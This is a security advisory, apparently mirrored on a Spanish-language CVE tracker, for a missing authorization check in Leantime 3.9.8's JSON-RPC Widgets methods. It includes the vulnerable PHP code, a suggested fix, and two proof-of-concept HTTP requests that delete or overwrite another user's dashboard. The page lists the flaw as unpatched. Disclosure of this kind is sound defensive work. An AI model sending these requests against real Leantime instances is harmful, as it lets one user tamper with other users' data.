GHSA-FRRW-M8RH-MCCM
Any API user can wipe or overwrite another user's dashboard and todo state via JSON-RPC (Leantime 3.9.8)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-FRRW-M8RH-MCCM divulgada · CVSS 5.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Description
### Summary
Several `Widgets` service methods take a `userId` from the caller and write settings keyed by that id, with no check that it belongs to the caller. Any API user can delete another user's saved dashboard, replace it with attacker-supplied content, or change their todo sorting and collapse state.
### Root cause
`app/Domain/Widgets/Services/Widgets.php` and `app/Domain/Widgets/Services/Dashboard.php` expose `@api` methods that trust `int $userId` and have no `#[RequiresPermission]` or session pin. The settings key embeds the id, so a foreign id lands on another user's row:
public function resetDashboard(int $userId): void
{
$activeWidgetKey = sprintf(self::ACTIVE_WIDGETS_KEY, $userId); // usersettings.{userId}.dashboardGrid
Cache::forget($activeWidgetKey);
$this->settingRepo->deleteSetting($activeWidgetKey);
}The HxControllers behind these methods only ever pass `session('userdata.id')`, so the parameter was not meant to be caller-controlled.
Write methods affected: `widgets.widgets.resetDashboard`, `widgets.widgets.saveGridForUser`, `widgets.dashboard.saveTodoSorting`, `widgets.dashboard.toggleTaskCollapse`. Read methods that leak minor per-user state: `widgets.widgets.getActiveWidgets`, `widgets.widgets.getNewWidgets`, `widgets.dashboard.getUserSorting`.
### Prerequisites
A JSON-RPC credential (an API key of any role, or a personal access token).
### Steps to reproduce
Victim is user id 14.
Delete the victim's saved dashboard:
POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 102
{"jsonrpc":"2.0","id":6,"method":"leantime.rpc.widgets.widgets.resetDashboard","params":{"userId":14}}<img width="1710" height="1112" alt="Screenshot 2026-07-15 at 9 49 05 PM" src="https://github.com/user-attachments/assets/2671f673-147f-46ab-97d7-46c2d25c1ace" />
Overwrite the victim's dashboard with attacker content:
POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 137
{"jsonrpc":"2.0","id":7,"method":"leantime.rpc.widgets.widgets.saveGridForUser","params":{"data":"ATTACKER_INJECTED_LAYOUT","userId":14}}<img width="1710" height="1112" alt="Screenshot 2026-07-15 at 9 49 46 PM" src="https://github.com/user-attachments/assets/6baa21bc-37a6-4c3f-aa1e-c4f4879e7711" />
Both return `{"result":null}`, which is a success for these void methods. The victim's `usersettings.14.dashboardGrid` row is gone after the first call and holds `ATTACKER_INJECTED_LAYOUT` after the second.
### Impact
Cross-user tampering with another user's workspace. An attacker can repeatedly reset or corrupt any user's dashboard and todo layout, which is a griefing and denial-of-service primitive against individual users. The paired read methods also expose minor per-user widget state.
### Suggested fix
Pin `userId` to `session('userdata.id')` in each method and drop the caller-supplied value, matching the pattern used elsewhere in the Users service.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistleantime/leantime |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Leantime/leantime/security/advisories/GHSA-frrw-m8rh-mccmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
